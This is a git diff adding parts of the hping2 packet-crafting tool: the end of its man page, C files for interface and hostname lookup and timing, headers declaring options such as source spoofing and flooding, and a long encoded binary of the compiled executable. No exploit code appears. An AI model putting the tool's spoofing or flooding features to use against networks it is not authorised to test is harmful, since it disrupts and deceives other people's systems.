+len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms +tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0 + +.B tos +is the type of service field of the IP header. + +.B iplen +is the IP total len field. + +.B seq and ack +are the sequence and acknowledge 32bit numbers in the TCP header. + +.B sum +is the TCP header checksum value. + +.B urp +is the TCP urgent pointer value. + +.SH UDP OUTPUT FORMAT + +The standard output format is: + +len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms + +The field meaning is just the same as the TCP output meaning of the +same fields. + +.SH ICMP OUTPUT FORMAT + +An example of ICMP output is: + +ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net + +It is very simple to understand. It starts with the string "ICMP" +followed by the description of the ICMP error, Port Unreachable +in the example. The ip field is the IP source address of the IP +datagram containing the ICMP error, the name field is just the +numerical address resolved to a name (a dns PTR request) or UNKNOWN if the +resolution failed. + +The ICMP Time exceeded during transit or reassembly format is a bit +different: + +TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net + +TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN + +The only difference is the description of the error, it starts with +TTL 0. + +.SH AUTHOR +Salvatore Sanfilippo , with the help of the people mentioned in AUTHORS file and at http://www.hping.org/authors.html +.SH BUGS +Even using the --end and --safe options to transfer files the final packet +will be padded with 0x00 bytes. +.PP +Data is read without care about alignment, but alignment is enforced +in the data structures. +This will not be a problem under i386 but, while usually the TCP/IP +headers are naturally aligned, may create problems with different +processors and bogus packets if there is some unaligned access around +the code (hopefully none). +.PP +On solaris hping does not work on the loopback interface. This seems +a solaris problem, as stated in the tcpdump-workers mailing list, +so the libpcap can't do nothing to handle it properly. +.SH SEE ALSO +ping(8), traceroute(8), ifconfig(8), nmap(1) diff --git a/gethostname.c b/gethostname.c new file mode 100644 index 0000000..85ffd55 --- /dev/null +++ b/gethostname.c @@ -0,0 +1,54 @@ +/* + * $smu-mark$ + * $name: gethostname.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +size_t strlcpy(char *dst, const char *src, size_t siz); + +char *get_hostname(const char* addr) +{ + static char answer[1024]; + static char lastreq[1024] = {'\0'}; /* last request */ + struct hostent *he; + struct in6_addr naddr6; + static char *last_answerp = NULL; + + printf(" get hostname..."); fflush(stdout); + printf("\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b" + " " + "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b"); + + if (!strcmp(addr, lastreq)) + return last_answerp; + + strlcpy(lastreq, addr, 1024); + inet_pton(opt_af, addr, &naddr6); + he = gethostbyaddr((char*)&naddr6, sizeof(naddr6), opt_af); + + if (he == NULL) { + last_answerp = NULL; + return NULL; + } + + strlcpy(answer, he->h_name, 1024); + last_answerp = answer; + + return answer; +} + diff --git a/getifname.c b/getifname.c new file mode 100644 index 0000000..a755a3c --- /dev/null +++ b/getifname.c @@ -0,0 +1,413 @@ +/* getifname.c -- network interface handling + * Copyright(C) 1999,2000,2001 Salvatore Sanfilippo + * Copyright(C) 2001 by Nicolas Jombart + * This code is under the GPL license */ + +/* BSD support thanks to Nicolas Jombart */ + +#include /* perror */ +#include +#include +#include +#include +#include +#include /* struct sockaddr_in */ +#include /* inet_ntoa */ +#include +#include /* close */ + +#if defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__NetBSD__) || \ + defined(__bsdi__) || defined(__APPLE__) +#include +#include +#include +#endif /* defined(__*BSD__) */ + +#include "hping2.h" +#include "globals.h" + +#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \ + !defined(__linux__) && !defined(__sun__) && !defined(__bsdi__) && \ + !defined(__APPLE__) +#error Sorry, interface code not implemented. +#endif + +#ifdef __sun__ +#include +#include +#include +#endif + +static int get_output_if(struct SOCKADDR *dest, struct SOCKADDR *ifip); + +#if (defined OSTYPE_LINUX) || (defined __sun__) +char * +get_v6_if_name(__u8 *ip) +{ + FILE *fd; + char buf[1024]; + char addr[33]; + int i; + + for(i = 0; i < 16; i++) + sprintf(addr + i * 2, "%02x", ip[i]); + + if(!(fd = fopen("/proc/net/if_inet6", "r"))) + { + perror("Warning: Unable to open /proc/net/if_inet6\n"); + return NULL; + } + while(fgets(buf, sizeof(buf), fd)) + { + if(!strncmp(buf, addr, 32)) + { + sscanf(buf, "%*32s %*02x %*02x %*02x %*02x %40s\n", ifname); + return ifname; + } + } + fclose(fd); + return NULL; +} + +int get_if_name(void) +{ + int fd; + struct ifconf ifc; + struct ifreq ibuf[16], + ifr, + *ifrp, + *ifend; + struct SOCKADDR sa; + struct SOCKADDR output_if_addr; + int known_output_if = 0; + + /* Try to get the output interface address according to + * the OS routing table */ + if (ifname[0] == '\0') { + if (get_output_if(&remote, &output_if_addr) == 0) { + known_output_if = 1; + inet_ntop(opt_af, ADDR(&output_if_addr), ifstraddr, sizeof(ifstraddr)); + if(opt_ipv6) + get_v6_if_name((__u8 *)&((struct sockaddr_in6*)&output_if_addr)->sin6_addr.s6_addr); + memcpy(&local, &output_if_addr, sizeof(local)); + if (opt_debug) + printf("DEBUG: Output interface address: %s\n", + ifstraddr); + } else { + fprintf(stderr, "Warning: Unable to guess the output " + "interface\n"); + } + } + + if ( (fd = socket(opt_af, SOCK_DGRAM, 0)) == -1) { + perror("[get_if_name] socket(AF_INET, SOCK_DGRAM, 0)"); + return -1; + } + + memset(ibuf, 0, sizeof(struct ifreq)*16); + ifc.ifc_len = sizeof ibuf; + ifc.ifc_buf = (caddr_t) ibuf; + + ifrp = ibuf; + if(ifname[0] == 0) + { + /* gets interfaces list */ + if ( ioctl(fd, SIOCGIFCONF, (char*)&ifc) == -1 || + ifc.ifc_len < sizeof(struct ifreq) ) { + perror("[get_if_name] ioctl(SIOCGIFCONF)"); + close(fd); + return -1; + } + + /* ifrp points to buffer and ifend points to buffer's end */ + ifend = (struct ifreq*) ((char*)ibuf + ifc.ifc_len); + } + else + ifend = ifrp + 1; + + + for (; ifrp < ifend; ifrp++) { + if(ifname[0] == 0) + strlcpy(ifr.ifr_name, ifrp->ifr_name, sizeof(ifr.ifr_name)); + else + strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); + + if ( ioctl(fd, SIOCGIFFLAGS, (char*)&ifr) == -1) { + if (opt_debug) + perror("DEBUG: [get_if_name] ioctl(SIOCGIFFLAGS)"); + continue; + } + + if (opt_debug) + printf("DEBUG: if %s: ", ifr.ifr_name); + + /* Down interface? */ + if ( !(ifr.ifr_flags & IFF_UP) ) + { + if (opt_debug) + printf("DOWN\n"); + continue; + } + + if(!opt_ipv6) + { + if (known_output_if) { + /* Get the interface address */ + if (ioctl(fd, SIOCGIFADDR, (char*)&ifr) == -1) { + perror("[get_if_name] ioctl(SIOCGIFADDR)"); + continue; + } + /* Copy it */ + memcpy(&sa, &ifr.ifr_addr, + sizeof(struct sockaddr_in)); + /* Check if it is what we are looking for */ + if ((*(struct sockaddr_in*)&sa).sin_addr.s_addr != + (*(struct sockaddr_in*)&output_if_addr).sin_addr.s_addr) { + if (opt_debug) + printf("The address doesn't match\n"); + continue; + } + } else if (ifname[0] != '\0' && !strstr(ifr.ifr_name, ifname)) { + if (opt_debug) + printf("Don't Match (but seems to be UP)\n"); + continue; + } + } + + if (opt_debug) + printf("OK\n"); + + /* interface found, save if name */ + strlcpy(ifname, ifr.ifr_name, 1024); + + /* get if address */ + if(!known_output_if) + { + if ( ioctl(fd, SIOCGIFADDR, (char*)&ifr) == -1) { + perror("DEBUG: [get_if_name] ioctl(SIOCGIFADDR)"); + exit(1); + } + + /* save if address */ + memcpy(&sa, &ifr.ifr_addr, + sizeof(struct sockaddr_in)); + inet_ntop(opt_af, ADDR(&output_if_addr), ifstraddr, sizeof(ifstraddr)); + } + + /* get if mtu */ + if ( ioctl(fd, SIOCGIFMTU, (char*)&ifr) == -1) { + perror("Warning: [get_if_name] ioctl(SIOCGIFMTU)"); + fprintf(stderr, "Using a fixed MTU of 1500\n"); + h_if_mtu = 1500; + } + else + { +#ifdef __sun__ + /* somehow solaris is braidamaged in wrt ifr_mtu */ + h_if_mtu = ifr.ifr_metric; +#else + h_if_mtu = ifr.ifr_mtu; +#endif + } + close(fd); + return 0; + } + /* interface not found, use 'lo' */ + strlcpy(ifname, "lo", 1024); + if(ifstraddr[0] == 0) + { + if(opt_ipv6) + strcpy(ifstraddr, "::1"); + else + strcpy(ifstraddr, "127.0.0.1"); + } + h_if_mtu = 1500; + + close(fd); + return 0; +} + +#elif defined(__FreeBSD__) || defined(__NetBSD__) || defined(__OpenBSD__) || \ + defined(__bsdi__) || defined(__APPLE__) + +/* return interface informations : + - from the specified (-I) interface + - from the routing table + - or at least from the first UP interface found +*/ +int get_if_name(void) +{ + /* variable declarations */ + struct ifaddrs *ifap, *ifa; + char current_if_name[24]; + char saved_ifname[24]; + struct SOCKADDR output_if_addr; + char tmp[1024]; +#ifdef __NetBSD__ + int s; + struct ifreq ifr; +#endif /* __NetBSD__ */ + + if (getifaddrs(&ifap) < 0) + perror("getifaddrs"); + + saved_ifname[0] = 0; + + /* lookup desired interface */ + if(ifname[0] == 0) { + /* find gateway interface from kernel */ + if (get_output_if(&remote, &output_if_addr) == 0) { + if (opt_debug) + printf("DEBUG: Output interface address: %s\n", + inet_ntop(opt_af, ADDR(&output_if_addr), tmp, sizeof(tmp))); + /* Put something in saved_ifname in order to tell + that the output adress is known */ + saved_ifname[0] = 'X'; saved_ifname[1] = 0; + } else { + fprintf(stderr, "Warning: Unable to guess the output " + "interface\n"); + } + } + else { + /* use the forced interface name */ + strlcpy(saved_ifname,ifname,24); + } + + /* get interface information */ + for (ifa = ifap; ifa; ifa = ifa->ifa_next) { + + if (opt_debug) printf("\n DEBUG: if %s: ", ifa->ifa_name); + + /* print if the data structure is null or not */ + if (ifa->ifa_data) { + if(opt_debug) printf("DEBUG: (struct DATA) "); } + else + if(opt_debug) printf("DEBUG: (struct DATA is NULL) "); + + if (!(ifa->ifa_flags & IFF_UP)) { /* if down */ + if (opt_debug) + printf("DEBUG: DOWN"); + continue; + } + + if ((ifa->ifa_flags & IFF_LOOPBACK)&& + (strncmp(saved_ifname,"lo0",3))) { /* if loopback */ + if (opt_debug) + printf("DEBUG: LOOPBACK, SKIPPED"); + continue; + } + + if (ifa->ifa_addr->sa_family == AF_LINK) { + if (opt_debug) + printf("DEBUG: AF_LINK "); + strlcpy(ifname,ifa->ifa_name,1024); + strlcpy(current_if_name,ifa->ifa_name,24); + +/* I don't know why NetBSD behavior is not the same */ +#ifdef __NetBSD__ + memset( &ifr, 0, sizeof(ifr)); + strlcpy(ifr.ifr_name, ifa->ifa_name, sizeof(ifr.ifr_name)); + if( sizeof(ifr.ifr_addr) >= ifa->ifa_addr->sa_len ) + memcpy(&ifr.ifr_addr, ifa->ifa_addr, + ifa->ifa_addr->sa_len); + if( (s = socket(PF_INET, SOCK_DGRAM, 0)) < 0) { + perror("[get_if_name] socket"); + return -1; + } + if (ioctl(s, SIOCGIFMTU, (caddr_t)&ifr) < 0) h_if_mtu = 0; + else h_if_mtu = ifr.ifr_mtu; + close(s); +#else + if( ifa->ifa_data ) + h_if_mtu = ((struct if_data *)ifa->ifa_data)->ifi_mtu; + else { + h_if_mtu = 1500; + fprintf(stderr, "Warning: fixing MTU to 1500 !\n"); + } +#endif /* __NetBSD__ */ + continue; + } + + if (ifa->ifa_addr->sa_family == AF_INET6) { + if (opt_debug) + printf("AF_INET6 "); + continue; + } + + if (ifa->ifa_addr->sa_family == AF_INET) { + if (opt_debug) + printf("AF_INET "); + + if(strncmp(ifa->ifa_name,current_if_name,24)) + continue; /* error */ + + if(opt_debug) printf("OK\n"); + + strlcpy(ifname,ifa->ifa_name,1024); + strlcpy(ifstraddr, + inet_ntoa(((struct sockaddr_in *)ifa->ifa_addr)->sin_addr), + 1024); + + if( (saved_ifname[0] == 0) || + (!strncmp(ifa->ifa_name, saved_ifname, 24)) || + (((struct sockaddr_in *)ifa->ifa_addr)->sin_addr.s_addr == + output_if_addr.sin_addr.s_addr) ) + break; /* asked if found or first UP interface */ + } + + /* interface not found, use hardcoded 'lo' */ + strlcpy(ifname, "lo0", 1024); + strlcpy(ifstraddr, "127.0.0.1", 1024); + h_if_mtu = 1500; + } + + freeifaddrs(ifap); + return 0; +} + +#endif /* __*BSD__ */ + +/* Try to obtain the IP address of the output interface according + * to the OS routing table. Derived from R.Stevens */ +int get_output_if(struct SOCKADDR *dest, struct SOCKADDR *ifip) +{ + int sock_rt, on=1; + struct SOCKADDR iface_out; + unsigned int len; + + if(opt_ipv6) + len = sizeof(struct sockaddr_in6); + else + len = sizeof(struct sockaddr_in); + + memset(&iface_out, 0, sizeof(iface_out)); + sock_rt = socket(opt_af, SOCK_DGRAM, 0); +// dest->sin_port = htons(11111); + if (setsockopt(sock_rt, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) + == -1) { + if (opt_debug) + perror("DEBUG: [get_output_if] setsockopt(SOL_SOCKET, " + "SO_BROADCAST"); + close(sock_rt); + return -1; + } + + if (connect(sock_rt, (struct sockaddr*)dest, len) == -1 ) { + if (opt_debug) + perror("DEBUG: [get_output_if] connect"); + close(sock_rt); + return -1; + } + + if (getsockname(sock_rt, (struct sockaddr *)&iface_out, &len) == -1 ) { + if (opt_debug) + perror("DEBUG: [get_output_if] getsockname"); + close(sock_rt); + return -1; + } + close(sock_rt); +// if (iface_out.sin_addr.s_addr == 0) +// return 1; + memcpy(ifip, &iface_out, len); + return 0; +} diff --git a/getlhs.c b/getlhs.c new file mode 100644 index 0000000..3d11a47 --- /dev/null +++ b/getlhs.c @@ -0,0 +1,98 @@ +/* + * $smu-mark$ + * $name: getlhs.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 8$ + */ + +/* $Id: getlhs.c,v 1.10 2003/07/25 12:11:24 njombart Exp $ */ + +#include + +#include "hping2.h" +#include "globals.h" + + +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) +int get_linkhdr_size(char *ifname) +{ + int dltype = pcap_datalink(pcapfp); + + if (opt_debug) + printf("DEBUG: dltype is %d\n", dltype); + + switch(dltype) { + case DLT_EN10MB: + case DLT_IEEE802: + linkhdr_size = 14; + break; + case DLT_SLIP: + case DLT_SLIP_BSDOS: + linkhdr_size = 16; + break; + case DLT_PPP: + case DLT_NULL: +#ifdef DLT_PPP_SERIAL + case DLT_PPP_SERIAL: +#endif +#ifdef DLT_LOOP + case DLT_LOOP: +#endif + linkhdr_size = 4; + break; + case DLT_PPP_BSDOS: + linkhdr_size = 24; + break; + case DLT_FDDI: + linkhdr_size = 13; + break; + case DLT_RAW: + linkhdr_size = 0; + break; + case DLT_IEEE802_11: + linkhdr_size = 14; + break; + case DLT_IEEE802_11: + linkhdr_size = 14; + break; + case DLT_TOKEN_RING: + linkhdr_size = 20; + break; + case DLT_ATM_RFC1483: +#ifdef DLT_CIP + case DLT_CIP: +#endif +#ifdef DLT_ATM_CLIP + case DLT_ATM_CLIP: +#endif + linkhdr_size = 8; + break; +#ifdef DLT_C_HDLC + case DLT_C_HDLC: + linkhdr_size = 4; + break; +#endif +#ifdef DLT_LINUX_SLL + case DLT_LINUX_SLL: +#endif +#ifdef DLT_LANE8023 + case DLT_LANE8023: +#endif + linkhdr_size = 16; + break; + default: + return -1; + break; + } + return 0; +} +#else /* Linux... */ +int get_linkhdr_size(char *ifname) +{ + linkhdr_size = 0; + return 0; +} +#endif /* (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) */ diff --git a/getusec.c b/getusec.c new file mode 100644 index 0000000..7ffc2a6 --- /dev/null +++ b/getusec.c @@ -0,0 +1,27 @@ +/* + * $smu-mark$ + * $name: getusec.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 8$ + */ + +#include +#include + +time_t get_usec(void) +{ + struct timeval tmptv; + + gettimeofday(&tmptv, NULL); + return tmptv.tv_usec; +} + +time_t get_midnight_ut_ms(void) +{ + struct timeval tv; + gettimeofday(&tv, NULL); + return ((tv.tv_sec % 86400) * 1000 + tv.tv_usec / 1000); +} diff --git a/globals.h b/globals.h new file mode 100644 index 0000000..935fde7 --- /dev/null +++ b/globals.h @@ -0,0 +1,152 @@ +/* + * $smu-mark$ + * $name: globals.h$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 9$ + */ + +/* $Id: globals.h,v 1.13 2003/08/07 23:55:55 antirez Exp $ */ + +#ifndef _GLOBALS_H +#define _GLOBALS_H + +extern float + rtt_min, + rtt_max, + rtt_avg; + +extern unsigned int + tcp_th_flags, + linkhdr_size, + h_if_mtu, + virtual_mtu, + ip_frag_offset, + signlen, + lsr_length, + ssr_length, + ip_tos, + set_seqnum, + tcp_seqnum, + set_ack, + ip_header_length, + tcp_ack; + +extern unsigned short int + data_size; + +extern int opt_debug, + sockpacket, + sockraw, + sent_pkt, + recv_pkt, + out_of_sequence_pkt, + sending_wait, + opt_rawipmode, + opt_icmpmode, + opt_udpmode, + opt_scanmode, + opt_listenmode, + opt_waitinusec, + opt_numeric, + opt_gethost, + opt_quiet, + opt_relid, + opt_fragment, + opt_df, + opt_mf, + opt_debug, + opt_verbose, + opt_winid_order, + opt_keepstill, + opt_datafromfile, + opt_hexdump, + opt_contdump, + opt_sign, + opt_safe, + opt_end, + opt_traceroute, + opt_seqnum, + opt_incdport, + opt_force_incdport, + opt_icmptype, + opt_icmpcode, + opt_rroute, + opt_tcpexitcode, + opt_badcksum, + opt_tr_keep_ttl, + opt_tcp_timestamp, + opt_tr_stop, + opt_tr_no_rtt, + opt_rand_dest, + opt_rand_source, + opt_lsrr, + opt_ssrr, + tcp_exitcode, + src_ttl, + src_id, + base_dst_port, + dst_port, + src_port, + initsport, + sequence, + src_winsize, + src_thoff, + count, + ctrlzbind, + delaytable_index, + eof_reached, + icmp_ip_version, + icmp_ip_ihl, + icmp_ip_tos, + icmp_ip_tot_len, + icmp_ip_id, + icmp_ip_srcport, + icmp_ip_dstport, + opt_force_icmp, + icmp_ip_protocol, + icmp_cksum, + raw_ip_protocol, + opt_ipv6, + opt_pps, + opt_bps, + opt_af, + opt_flood; + +extern unsigned char lsr[255], + ssr[255]; + +extern char ifname[1024], + ifstraddr[1024], + datafilename[1024], + targetname[1024], + targetstraddr[1024], + spoofaddr[1024], + icmp_ip_srcip[1024], + icmp_ip_dstip[1024], + icmp_gwip[1024], + sign[1024], + rsign[1024], + ip_opt[40], + ip_optlen, + *opt_scanports; + +extern struct sockaddr_in icmp_ip_src, icmp_ip_dst, icmp_gw; +extern struct SOCKADDR local, remote; +extern struct itimerval usec_delay; +extern volatile struct delaytable_element delaytable[TABLESIZE]; +extern struct hcmphdr *hcmphdr_p; + +extern long long sum_bytes; +extern unsigned sum_packets; + +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) +#include +extern pcap_t *pcapfp; +extern char errbuf[PCAP_ERRBUF_SIZE]; +extern struct pcap_pkthdr hdr; +#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */ + +#endif /* _GLOBALS_H */ diff --git a/hcmp.h b/hcmp.h new file mode 100644 index 0000000..eb290e5 --- /dev/null +++ b/hcmp.h @@ -0,0 +1,26 @@ +/* + * $smu-mark$ + * $name: hcmp.h$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 9$ + */ + +/* Hping Control Message Protocol */ + +#define HCMP_RESTART 1 +#define HCMP_SOURCE_QUENCH 2 +#define HCMP_SOURCE_STIRUP 3 +#define HCMP_CHPROTO 4 /* still unused */ + +struct hcmphdr +{ + __u8 type; + union + { + __u16 seqnum; + __u32 usec; + } typedep; +}; diff --git a/hping2 b/hping2 new file mode 100644 index 0000000000000000000000000000000000000000..0883968fca82a4b66349cb1dd7e5accb2946d0bc GIT binary patch literal 482024 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 